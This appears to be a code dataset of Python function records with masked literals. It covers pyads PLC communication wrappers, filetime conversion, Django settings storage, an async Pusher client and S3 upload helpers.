{"signature": "def adsSyncWriteControlReqEx(<EOL>port, address, ads_state, device_state, data, plc_data_type<EOL>):<EOL>", "body": "sync_write_control_request = _adsDLL.AdsSyncWriteControlReqEx<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>ads_state_c = ctypes.c_ulong(ads_state)<EOL>device_state_c = ctypes.c_ulong(device_state)<EOL>if plc_data_type == PLCTYPE_STRING:<EOL><INDENT>data = ctypes.c_char_p(data.encode(\"<STR_LIT:utf-8>\"))<EOL>data_pointer = data<EOL>data_length = len(data_pointer.value) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>data = plc_data_type(data)<EOL>data_pointer = ctypes.pointer(data)<EOL>data_length = ctypes.sizeof(data)<EOL><DEDENT>error_code = sync_write_control_request(<EOL>port,<EOL>ams_address_pointer,<EOL>ads_state_c,<EOL>device_state_c,<EOL>data_length,<EOL>data_pointer,<EOL>)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>", "docstring": "Change the ADS state and the machine-state of the ADS-server.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr adr: local or remote AmsAddr\n    :param int ads_state: new ADS-state, according to ADSTATE constants\n    :param int device_state: new machine-state\n    :param data: additional data\n    :param int plc_data_type: plc datatype, according to PLCTYPE constants", "id": "f13261:m9"}
{"signature": "def adsSyncWriteReqEx(port, address, index_group, index_offset, value, plc_data_type):<EOL>", "body": "sync_write_request = _adsDLL.AdsSyncWriteReqEx<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>index_group_c = ctypes.c_ulong(index_group)<EOL>index_offset_c = ctypes.c_ulong(index_offset)<EOL>if plc_data_type == PLCTYPE_STRING:<EOL><INDENT>data = ctypes.c_char_p(value.encode(\"<STR_LIT:utf-8>\"))<EOL>data_pointer = data  <EOL>data_length = len(data_pointer.value) + <NUM_LIT:1>  <EOL><DEDENT>else:<EOL><INDENT>if type(plc_data_type).__name__ == \"<STR_LIT>\":<EOL><INDENT>data = plc_data_type(*value)<EOL><DEDENT>else:<EOL><INDENT>data = plc_data_type(value)<EOL><DEDENT>data_pointer = ctypes.pointer(data)<EOL>data_length = ctypes.sizeof(data)<EOL><DEDENT>error_code = sync_write_request(<EOL>port,<EOL>ams_address_pointer,<EOL>index_group_c,<EOL>index_offset_c,<EOL>data_length,<EOL>data_pointer,<EOL>)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>", "docstring": "Send data synchronous to an ADS-device.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :param int indexGroup: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param value: value to write to the storage address of the PLC\n    :param int plc_data_type: type of the data given to the PLC,\n        according to PLCTYPE constants", "id": "f13261:m10"}
{"signature": "def adsSyncReadWriteReqEx2(<EOL>port,<EOL>address,<EOL>index_group,<EOL>index_offset,<EOL>read_data_type,<EOL>value,<EOL>write_data_type,<EOL>return_ctypes=False,<EOL>):<EOL>", "body": "sync_read_write_request = _adsDLL.AdsSyncReadWriteReqEx2<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>index_group_c = ctypes.c_ulong(index_group)<EOL>index_offset_c = ctypes.c_ulong(index_offset)<EOL>if read_data_type == PLCTYPE_STRING:<EOL><INDENT>read_data = (STRING_BUFFER * PLCTYPE_STRING)()<EOL><DEDENT>else:<EOL><INDENT>read_data = read_data_type()<EOL><DEDENT>read_data_pointer = ctypes.pointer(read_data)<EOL>read_length = ctypes.c_ulong(ctypes.sizeof(read_data))<EOL>bytes_read = ctypes.c_ulong()<EOL>bytes_read_pointer = ctypes.pointer(bytes_read)<EOL>if write_data_type == PLCTYPE_STRING:<EOL><INDENT>write_data_pointer = ctypes.c_char_p(<EOL>value.encode(\"<STR_LIT:utf-8>\")<EOL>)  <EOL>write_length = len(value) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if type(write_data_type).__name__ == \"<STR_LIT>\":<EOL><INDENT>write_data = write_data_type(*value)<EOL><DEDENT>else:<EOL><INDENT>write_data = write_data_type(value)<EOL><DEDENT>write_data_pointer = ctypes.pointer(write_data)<EOL>write_length = ctypes.sizeof(write_data)<EOL><DEDENT>err_code = sync_read_write_request(<EOL>port,<EOL>ams_address_pointer,<EOL>index_group_c,<EOL>index_offset_c,<EOL>read_length,<EOL>read_data_pointer,<EOL>write_length,<EOL>write_data_pointer,<EOL>bytes_read_pointer,<EOL>)<EOL>if err_code:<EOL><INDENT>raise ADSError(err_code)<EOL><DEDENT>if read_data_type != PLCTYPE_STRING and bytes_read.value != read_length.value:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(<EOL>read_length.value, bytes_read.value<EOL>)<EOL>)<EOL><DEDENT>if return_ctypes:<EOL><INDENT>return read_data<EOL><DEDENT>if read_data_type == PLCTYPE_STRING:<EOL><INDENT>return read_data.value.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if type(read_data_type).__name__ == \"<STR_LIT>\":<EOL><INDENT>return [i for i in read_data]<EOL><DEDENT>if hasattr(read_data, \"<STR_LIT:value>\"):<EOL><INDENT>return read_data.value<EOL><DEDENT>return read_data<EOL>", "docstring": "Read and write data synchronous from/to an ADS-device.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :param int index_group: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param Type read_data_type: type of the data given to the PLC to respond to,\n        according to PLCTYPE constants\n    :param value: value to write to the storage address of the PLC\n    :param Type write_data_type: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :rtype: read_data_type\n    :return: value: value read from PLC", "id": "f13261:m11"}
{"signature": "def adsSyncReadReqEx2(<EOL>port, address, index_group, index_offset, data_type, return_ctypes=False<EOL>):<EOL>", "body": "sync_read_request = _adsDLL.AdsSyncReadReqEx2<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>index_group_c = ctypes.c_ulong(index_group)<EOL>index_offset_c = ctypes.c_ulong(index_offset)<EOL>if data_type == PLCTYPE_STRING:<EOL><INDENT>data = (STRING_BUFFER * PLCTYPE_STRING)()<EOL><DEDENT>else:<EOL><INDENT>data = data_type()<EOL><DEDENT>data_pointer = ctypes.pointer(data)<EOL>data_length = ctypes.c_ulong(ctypes.sizeof(data))<EOL>bytes_read = ctypes.c_ulong()<EOL>bytes_read_pointer = ctypes.pointer(bytes_read)<EOL>error_code = sync_read_request(<EOL>port,<EOL>ams_address_pointer,<EOL>index_group_c,<EOL>index_offset_c,<EOL>data_length,<EOL>data_pointer,<EOL>bytes_read_pointer,<EOL>)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>if data_type != PLCTYPE_STRING and bytes_read.value != data_length.value:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(<EOL>data_length.value, bytes_read.value<EOL>)<EOL>)<EOL><DEDENT>if return_ctypes:<EOL><INDENT>return data<EOL><DEDENT>if data_type == PLCTYPE_STRING:<EOL><INDENT>return data.value.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if type(data_type).__name__ == \"<STR_LIT>\":<EOL><INDENT>return [i for i in data]<EOL><DEDENT>if hasattr(data, \"<STR_LIT:value>\"):<EOL><INDENT>return data.value<EOL><DEDENT>return data<EOL>", "docstring": "Read data synchronous from an ADS-device.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :param int index_group: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param Type data_type: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :rtype: data_type\n    :return: value: **value**", "id": "f13261:m12"}
{"signature": "def adsSyncReadByNameEx(port, address, data_name, data_type, return_ctypes=False):<EOL>", "body": "<EOL>handle = adsSyncReadWriteReqEx2(<EOL>port,<EOL>address,<EOL>ADSIGRP_SYM_HNDBYNAME,<EOL><NUM_LIT>,<EOL>PLCTYPE_UDINT,<EOL>data_name,<EOL>PLCTYPE_STRING,<EOL>)<EOL>value = adsSyncReadReqEx2(<EOL>port, address, ADSIGRP_SYM_VALBYHND, handle, data_type, return_ctypes<EOL>)<EOL>adsSyncWriteReqEx(port, address, ADSIGRP_SYM_RELEASEHND, <NUM_LIT:0>, handle, PLCTYPE_UDINT)<EOL>return value<EOL>", "docstring": "Read data synchronous from an ADS-device from data name.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :param string data_name: data name\n    :param Type data_type: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :rtype: data_type\n    :return: value: **value**", "id": "f13261:m13"}
{"signature": "def adsSyncWriteByNameEx(port, address, data_name, value, data_type):<EOL>", "body": "<EOL>handle = adsSyncReadWriteReqEx2(<EOL>port,<EOL>address,<EOL>ADSIGRP_SYM_HNDBYNAME,<EOL><NUM_LIT>,<EOL>PLCTYPE_UDINT,<EOL>data_name,<EOL>PLCTYPE_STRING,<EOL>)<EOL>adsSyncWriteReqEx(port, address, ADSIGRP_SYM_VALBYHND, handle, value, data_type)<EOL>adsSyncWriteReqEx(port, address, ADSIGRP_SYM_RELEASEHND, <NUM_LIT:0>, handle, PLCTYPE_UDINT)<EOL>", "docstring": "Send data synchronous to an ADS-device from data name.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :param string data_name: PLC storage address\n    :param value: value to write to the storage address of the PLC\n    :param Type data_type: type of the data given to the PLC,\n        according to PLCTYPE constants", "id": "f13261:m14"}
{"signature": "def adsSyncAddDeviceNotificationReqEx(<EOL>port, adr, data_name, pNoteAttrib, callback, user_handle=None<EOL>):<EOL>", "body": "global callback_store<EOL>if NOTEFUNC is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>adsSyncAddDeviceNotificationReqFct = _adsDLL.AdsSyncAddDeviceNotificationReqEx<EOL>pAmsAddr = ctypes.pointer(adr.amsAddrStruct())<EOL>hnl = adsSyncReadWriteReqEx2(<EOL>port, adr, ADSIGRP_SYM_HNDBYNAME, <NUM_LIT>, PLCTYPE_UDINT, data_name, PLCTYPE_STRING<EOL>)<EOL>nIndexGroup = ctypes.c_ulong(ADSIGRP_SYM_VALBYHND)<EOL>nIndexOffset = ctypes.c_ulong(hnl)<EOL>attrib = pNoteAttrib.notificationAttribStruct()<EOL>pNotification = ctypes.c_ulong()<EOL>nHUser = ctypes.c_ulong(hnl)<EOL>if user_handle is not None:<EOL><INDENT>nHUser = ctypes.c_ulong(user_handle)<EOL><DEDENT>adsSyncAddDeviceNotificationReqFct.argtypes = [<EOL>ctypes.c_ulong,<EOL>ctypes.POINTER(SAmsAddr),<EOL>ctypes.c_ulong,<EOL>ctypes.c_ulong,<EOL>ctypes.POINTER(SAdsNotificationAttrib),<EOL>NOTEFUNC,<EOL>ctypes.c_ulong,<EOL>ctypes.POINTER(ctypes.c_ulong),<EOL>]<EOL>adsSyncAddDeviceNotificationReqFct.restype = ctypes.c_long<EOL>def wrapper(addr, notification, user):<EOL><INDENT>return callback(notification, data_name)<EOL><DEDENT>c_callback = NOTEFUNC(wrapper)<EOL>err_code = adsSyncAddDeviceNotificationReqFct(<EOL>port,<EOL>pAmsAddr,<EOL>nIndexGroup,<EOL>nIndexOffset,<EOL>ctypes.byref(attrib),<EOL>c_callback,<EOL>nHUser,<EOL>ctypes.byref(pNotification),<EOL>)<EOL>if err_code:<EOL><INDENT>raise ADSError(err_code)<EOL><DEDENT>callback_store[pNotification.value] = c_callback<EOL>return (pNotification.value, hnl)<EOL>", "docstring": "Add a device notification.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr adr: local or remote AmsAddr\n    :param string data_name: PLC storage address\n    :param pyads.structs.NotificationAttrib pNoteAttrib: notification attributes\n    :param callback: Callback function to handle notification\n    :param user_handle: User Handle\n    :rtype: (int, int)\n    :returns: notification handle, user handle", "id": "f13261:m15"}
{"signature": "def adsSyncDelDeviceNotificationReqEx(port, adr, notification_handle, user_handle):<EOL>", "body": "adsSyncDelDeviceNotificationReqFct = _adsDLL.AdsSyncDelDeviceNotificationReqEx<EOL>pAmsAddr = ctypes.pointer(adr.amsAddrStruct())<EOL>nHNotification = ctypes.c_ulong(notification_handle)<EOL>err_code = adsSyncDelDeviceNotificationReqFct(port, pAmsAddr, nHNotification)<EOL>callback_store.pop(notification_handle, None)<EOL>if err_code:<EOL><INDENT>raise ADSError(err_code)<EOL><DEDENT>adsSyncWriteReqEx(port, adr, ADSIGRP_SYM_RELEASEHND, <NUM_LIT:0>, user_handle, PLCTYPE_UDINT)<EOL>", "docstring": "Remove a device notification.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr adr: local or remote AmsAddr\n    :param int notification_handle: Notification Handle\n    :param int user_handle: User Handle", "id": "f13261:m16"}
{"signature": "def adsSyncSetTimeoutEx(port, nMs):<EOL>", "body": "adsSyncSetTimeoutFct = _adsDLL.AdsSyncSetTimeoutEx<EOL>cms = ctypes.c_long(nMs)<EOL>err_code = adsSyncSetTimeoutFct(port, cms)<EOL>if err_code:<EOL><INDENT>raise ADSError(err_code)<EOL><DEDENT>", "docstring": "Set Timeout.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param int nMs: timeout in ms", "id": "f13261:m17"}
{"signature": "def __str__(self):<EOL>", "body": "return \"<STR_LIT>\" + self.msg<EOL>", "docstring": "Return text representation of the object.", "id": "f13261:c0:m1"}
{"signature": "def dt_to_filetime(dt):<EOL>", "body": "if (dt.tzinfo is None) or (dt.tzinfo.utcoffset(dt) is None):<EOL><INDENT>dt = dt.replace(tzinfo=utc)<EOL><DEDENT>return EPOCH_AS_FILETIME + (timegm(dt.timetuple()) *<EOL>HUNDREDS_OF_NANOSECONDS)<EOL>", "docstring": "Convert a datetime to Microsoft filetime format.\n\n    If the object is time zone-naive, it is forced to UTC before conversion.\n\n    >>> \"%.0f\" % dt_to_filetime(datetime(2009, 7, 25, 23, 0))\n    '128930364000000000'\n    >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0, tzinfo=utc))\n    116444736000000000L\n    >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0))\n    116444736000000000L", "id": "f13262:m0"}
{"signature": "def filetime_to_dt(ft):<EOL>", "body": "return datetime.utcfromtimestamp((ft - EPOCH_AS_FILETIME) /<EOL>HUNDREDS_OF_NANOSECONDS)<EOL>", "docstring": "Convert a Microsoft filetime number to a Python datetime.\n\n    The new datetime object is time zone-naive but is equivalent to tzinfo=utc.\n\n    >>> filetime_to_dt(116444736000000000)\n    datetime.datetime(1970, 1, 1, 0, 0)\n    >>> filetime_to_dt(128930364000000000)\n    datetime.datetime(2009, 7, 25, 23, 0)", "id": "f13262:m1"}
{"signature": "def utcoffset(self, dt):<EOL>", "body": "return ZERO<EOL>", "docstring": "Return offset of localtime from UTC time.", "id": "f13262:c0:m0"}
{"signature": "def tzname(self, dt):<EOL>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Return name of the timezone.", "id": "f13262:c0:m1"}
{"signature": "def dst(self, dt):<EOL>", "body": "return ZERO<EOL>", "docstring": "Return daylight savings time.", "id": "f13262:c0:m2"}
{"signature": "def platform_is_linux():<EOL>", "body": "return sys.platform.startswith('<STR_LIT>') orsys.platform.startswith('<STR_LIT>')<EOL>", "docstring": "Return True if current platform is Linux or Mac OS.", "id": "f13263:m0"}
{"signature": "def platform_is_windows():<EOL>", "body": "return sys.platform == '<STR_LIT:win32>'<EOL>", "docstring": "Return True if current platform is Windows.", "id": "f13263:m1"}
{"signature": "def remove_binaries():", "body": "patterns = (<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>)<EOL>for f in functools.reduce(operator.iconcat, [glob.glob(p) for p in patterns]):<EOL><INDENT>os.remove(f)<EOL><DEDENT>", "docstring": "Remove all binary files in the adslib directory.", "id": "f13265:m5"}
{"signature": "def get_child_models(self):", "body": "child_models = []<EOL>for related_object in get_all_related_objects(self.base_model._meta):<EOL><INDENT>model = getattr(<EOL>related_object, '<STR_LIT>', related_object.model)<EOL>if issubclass(model, self.base_model):<EOL><INDENT>class SettingValueAdmin(self.base_admin_class):<EOL><INDENT>pass<EOL><DEDENT>child_models.append((model, SettingValueAdmin))<EOL><DEDENT><DEDENT>return child_models<EOL>", "docstring": "Returns a list of ``(Model, ModelAdmin)`` tuples for ``base_model``\nsubclasses.", "id": "f13266:c0:m0"}
{"signature": "def get_value(self, obj):", "body": "<EOL>return obj.value<EOL>", "docstring": "Returns the ``value`` field from the child model.", "id": "f13266:c0:m1"}
{"signature": "def get_value(self, context, default):", "body": "if default is None:<EOL><INDENT>settings = self.setting_model.objects.as_dict()<EOL><DEDENT>else:<EOL><INDENT>settings = self.setting_model.objects.as_dict(default=default)<EOL><DEDENT>return settings<EOL>", "docstring": "Returns a ``SettingDict`` object.", "id": "f13269:c0:m0"}
{"signature": "def get_value(self, context, name, default):", "body": "settings = self.setting_model.objects.filter(name=name)<EOL>if default is None:<EOL><INDENT>settings = settings.as_dict()<EOL><DEDENT>else:<EOL><INDENT>settings = settings.as_dict(default=default)<EOL><DEDENT>value = settings[name]<EOL>return value<EOL>", "docstring": "Returns the value of the named setting.", "id": "f13269:c1:m0"}
{"signature": "def render_tag(self, context, name, nodelist):", "body": "<EOL>settings = self.setting_model.objects.filter(name=name).as_dict()<EOL>try:<EOL><INDENT>value = settings[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>value = settings[name] = nodelist.render(context)<EOL><DEDENT>return value<EOL>", "docstring": "Returns the value of the named setting.", "id": "f13269:c2:m0"}
{"signature": "def settings(request):", "body": "settings = Setting.objects.all().as_dict(default='<STR_LIT>')<EOL>context = {<EOL>'<STR_LIT>': settings,<EOL>}<EOL>return context<EOL>", "docstring": "Adds a ``SettingDict`` object for the ``Setting`` model to the context as\n``SETTINGS``. Automatically creates non-existent settings with an empty\nstring as the default value.", "id": "f13275:m0"}
{"signature": "def __init__(self, model=None, queryset=None, default=None):", "body": "if model:<EOL><INDENT>self.model = model<EOL>self.queryset = model.objects.all()<EOL><DEDENT>elif queryset is not None: <EOL><INDENT>if model:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>self.model = queryset.model<EOL>self.queryset = queryset<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>self.default = default<EOL>self.empty_cache = True<EOL>super(SettingDict, self).__init__()<EOL>", "docstring": "All setting values for the given model or queryset will be lazily\nloaded into the cache on first access.\n\nIf ``default`` is not ``None``, non-existent settings will be created\non access.", "id": "f13278:c0:m0"}
{"signature": "def __delitem__(self, key):", "body": "<EOL>if self.empty_cache:<EOL><INDENT>self.refresh()<EOL><DEDENT>deleted = self.model.objects.filter(name=key).delete()<EOL>try:<EOL><INDENT>super(SettingDict, self).__delitem__(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>if not deleted:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Deletes a setting from the dict and the database.", "id": "f13278:c0:m1"}
{"signature": "def __getitem__(self, key):", "body": "<EOL>if self.empty_cache:<EOL><INDENT>self.refresh()<EOL><DEDENT>try:<EOL><INDENT>value = super(SettingDict, self).__getitem__(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>try:<EOL><INDENT>value = self.model.objects.get(name=key).value<EOL><DEDENT>except self.model.DoesNotExist:<EOL><INDENT>if self.default is None:<EOL><INDENT>raise KeyError(key)<EOL><DEDENT>value = self.default<EOL>self.model.objects.create(name=key, value=value)<EOL><DEDENT>super(SettingDict, self).__setitem__(key, value)<EOL><DEDENT>return value<EOL>", "docstring": "Returns the setting value for ``key`` from the cache if possible,\notherwise from the database. Adds values that are fetched from the\ndatabase to the cache.", "id": "f13278:c0:m2"}
{"signature": "def __setitem__(self, key, value):", "body": "<EOL>if self.empty_cache:<EOL><INDENT>self.refresh()<EOL><DEDENT>with transaction.atomic():<EOL><INDENT>self.model.objects.filter(name=key).delete()<EOL>self.model.objects.create(name=key, value=value)<EOL><DEDENT>super(SettingDict, self).__setitem__(key, value)<EOL>", "docstring": "Tries to delete and then creates a setting, in case the value type has\nchanged. Otherwise, we would need to get, update (if same type), or\ndelete and create (if not same type).", "id": "f13278:c0:m3"}
{"signature": "def refresh(self):", "body": "<EOL>args = [(obj.name, obj.value) for obj in self.queryset.all()]<EOL>super(SettingDict, self).update(args)<EOL>self.empty_cache = False<EOL>", "docstring": "Updates the cache with setting values from the database.", "id": "f13278:c0:m4"}
{"signature": "def as_dict(self, default=None):", "body": "settings = SettingDict(queryset=self, default=default)<EOL>return settings<EOL>", "docstring": "Returns a ``SettingDict`` object for this queryset.", "id": "f13279:c0:m0"}
{"signature": "def create(self, name, value):", "body": "if value is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>model = Setting.get_model_for_value(value)<EOL>obj = super(SettingQuerySet, model.objects.all()).create(name=name, value=value)<EOL>return obj<EOL>", "docstring": "Creates and returns an object of the appropriate type for ``value``.", "id": "f13279:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_model_for_value(cls, value):<DEDENT>", "body": "for related_object in get_all_related_objects(cls._meta):<EOL><INDENT>model = getattr(related_object, '<STR_LIT>', related_object.model)<EOL>if issubclass(model, cls):<EOL><INDENT>if model.is_compatible(value):<EOL><INDENT>return model<EOL><DEDENT><DEDENT><DEDENT>raise ValueError(<EOL>'<STR_LIT>' % value)<EOL>", "docstring": "Iterates through setting value subclasses, returning one that is\ncompatible with the type of ``value``. Calls ``is_compatible()`` on\neach subclass.", "id": "f13279:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def is_compatible(cls, value):<DEDENT>", "body": "if not hasattr(cls, '<STR_LIT>'):<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return isinstance(value, cls.value_type)<EOL>", "docstring": "Returns ``True`` if this model should be used to store ``value``.\n\nChecks if ``value`` is an instance of ``value_type``. Override this\nmethod if you need more advanced behaviour. For example, to distinguish\nbetween single and multi-line text.", "id": "f13279:c3:m0"}
{"signature": "async def trigger(self, event, data=None, socket_id=None):", "body": "json_data = json.dumps(data, cls=self.pusher.encoder)<EOL>query_string = self.signed_query(event, json_data, socket_id)<EOL>signed_path = \"<STR_LIT>\" % (self.path, query_string)<EOL>pusher = self.pusher<EOL>absolute_url = pusher.get_absolute_path(signed_path)<EOL>response = await pusher.http.post(<EOL>absolute_url, data=json_data,<EOL>headers=[('<STR_LIT:Content-Type>', '<STR_LIT:application/json>')])<EOL>response.raise_for_status()<EOL>return response.status_code == <NUM_LIT><EOL>", "docstring": "Trigger an ``event`` on this channel", "id": "f13281:c1:m1"}
{"signature": "def bind(self, event, callback):", "body": "self._registered_callbacks[event] = callback<EOL>return True<EOL>", "docstring": "Bind to an ``event`` in this channel. The ``callback`` function is\n        executed every time the event is triggered.", "id": "f13281:c1:m2"}
{"signature": "async def connect(self):", "body": "if not self._consumer:<EOL><INDENT>waiter = self._waiter = asyncio.Future()<EOL>try:<EOL><INDENT>address = self._websocket_host()<EOL>self.logger.info('<STR_LIT>', address)<EOL>self._consumer = await self.http.get(address)<EOL>if self._consumer.status_code != <NUM_LIT>:<EOL><INDENT>raise PusherError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>waiter.set_exception(exc)<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>await waiter<EOL><DEDENT><DEDENT>return self._consumer<EOL>", "docstring": "Connect to a Pusher websocket", "id": "f13281:c2:m2"}
{"signature": "def on_message(self, websocket, message):", "body": "waiter = self._waiter<EOL>self._waiter = None<EOL>encoded = json.loads(message)<EOL>event = encoded.get('<STR_LIT>')<EOL>channel = encoded.get('<STR_LIT>')<EOL>data = json.loads(encoded.get('<STR_LIT:data>'))<EOL>try:<EOL><INDENT>if event == PUSHER_ERROR:<EOL><INDENT>raise PusherError(data['<STR_LIT:message>'], data['<STR_LIT:code>'])<EOL><DEDENT>elif event == PUSHER_CONNECTION:<EOL><INDENT>self.socket_id = data.get('<STR_LIT>')<EOL>self.logger.info('<STR_LIT>',<EOL>self.socket_id)<EOL>waiter.set_result(self.socket_id)<EOL><DEDENT>elif event == PUSHER_SUBSCRIBED:<EOL><INDENT>self.logger.info('<STR_LIT>',<EOL>encoded.get('<STR_LIT>'))<EOL><DEDENT>elif channel:<EOL><INDENT>self[channel]._event(event, data)<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>if waiter:<EOL><INDENT>waiter.set_exception(exc)<EOL><DEDENT>else:<EOL><INDENT>self.logger.exception('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Handle websocket incoming messages", "id": "f13281:c2:m5"}
{"signature": "@property<EOL><INDENT>def http_session(self):<DEDENT>", "body": "return self.endpoint.http_session<EOL>", "docstring": "HTTP session object", "id": "f13282:c0:m3"}
{"signature": "@property<EOL><INDENT>def http_session(self):<DEDENT>", "body": "return self.client.http_session<EOL>", "docstring": "HTTP session object", "id": "f13282:c2:m1"}
{"signature": "def get_git_changeset(filename=None):", "body": "dirname = os.path.dirname(filename or __file__)<EOL>git_show = sh('<STR_LIT>',<EOL>cwd=dirname)<EOL>timestamp = git_show.partition('<STR_LIT:\\n>')[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>timestamp = datetime.datetime.utcfromtimestamp(int(timestamp))<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>return timestamp.strftime('<STR_LIT>')<EOL>", "docstring": "Returns a numeric identifier of the latest git changeset.\n\n    The result is the UTC timestamp of the changeset in YYYYMMDDHHMMSS format.\n    This value isn't guaranteed to be unique, but collisions are very unlikely,\n    so it's sufficient for generating the development version numbers.", "id": "f13283:m2"}
{"signature": "async def upload_file(self, bucket, file, uploadpath=None, key=None,<EOL>ContentType=None, **kw):", "body": "is_filename = False<EOL>if hasattr(file, '<STR_LIT>'):<EOL><INDENT>if hasattr(file, '<STR_LIT>'):<EOL><INDENT>file.seek(<NUM_LIT:0>)<EOL><DEDENT>file = file.read()<EOL>size = len(file)<EOL><DEDENT>elif key:<EOL><INDENT>size = len(file)<EOL><DEDENT>else:<EOL><INDENT>is_filename = True<EOL>size = os.stat(file).st_size<EOL>key = os.path.basename(file)<EOL><DEDENT>assert key, '<STR_LIT>'<EOL>if not ContentType:<EOL><INDENT>ContentType, _ = mimetypes.guess_type(key)<EOL><DEDENT>if uploadpath:<EOL><INDENT>if not uploadpath.endswith('<STR_LIT:/>'):<EOL><INDENT>uploadpath = '<STR_LIT>' % uploadpath<EOL><DEDENT>key = '<STR_LIT>' % (uploadpath, key)<EOL><DEDENT>params = dict(Bucket=bucket, Key=key)<EOL>if not ContentType:<EOL><INDENT>ContentType = '<STR_LIT>'<EOL><DEDENT>params['<STR_LIT>'] = ContentType<EOL>if size > MULTI_PART_SIZE and is_filename:<EOL><INDENT>resp = await _multipart(self, file, params)<EOL><DEDENT>elif is_filename:<EOL><INDENT>with open(file, '<STR_LIT:rb>') as fp:<EOL><INDENT>params['<STR_LIT>'] = fp.read()<EOL><DEDENT>resp = await self.put_object(**params)<EOL><DEDENT>else:<EOL><INDENT>params['<STR_LIT>'] = file<EOL>resp = await self.put_object(**params)<EOL><DEDENT>if '<STR_LIT>' not in resp:<EOL><INDENT>resp['<STR_LIT>'] = key<EOL><DEDENT>if '<STR_LIT>' not in resp:<EOL><INDENT>resp['<STR_LIT>'] = bucket<EOL><DEDENT>return resp<EOL>", "docstring": "Upload a file to S3 possibly using the multi-part uploader\n        Return the key uploaded", "id": "f13284:c0:m0"}
{"signature": "async def copy_storage_object(self, source_bucket, source_key,<EOL>bucket, key):", "body": "info = await self.head_object(Bucket=source_bucket, Key=source_key)<EOL>size = info['<STR_LIT>']<EOL>if size > MULTI_PART_SIZE:<EOL><INDENT>result = await _multipart_copy(self, source_bucket, source_key,<EOL>bucket, key, size)<EOL><DEDENT>else:<EOL><INDENT>result = await self.copy_object(<EOL>Bucket=bucket, Key=key,<EOL>CopySource=_source_string(source_bucket, source_key)<EOL>)<EOL><DEDENT>return result<EOL>", "docstring": "Copy a file from one bucket into another", "id": "f13284:c0:m1"}
{"signature": "def upload_folder(self, bucket, folder, key=None, skip=None,<EOL>content_types=None):", "body": "uploader = FolderUploader(self, bucket, folder, key, skip,<EOL>content_types)<EOL>return uploader.start()<EOL>", "docstring": "Recursively upload a ``folder`` into a backet.\n\n        :param bucket: bucket where to upload the folder to\n        :param folder: the folder location in the local file system\n        :param key: Optional key where the folder is uploaded\n        :param skip: Optional list of files to skip\n        :param content_types: Optional dictionary mapping suffixes to\n            content types\n        :return: a coroutine", "id": "f13284:c0:m2"}
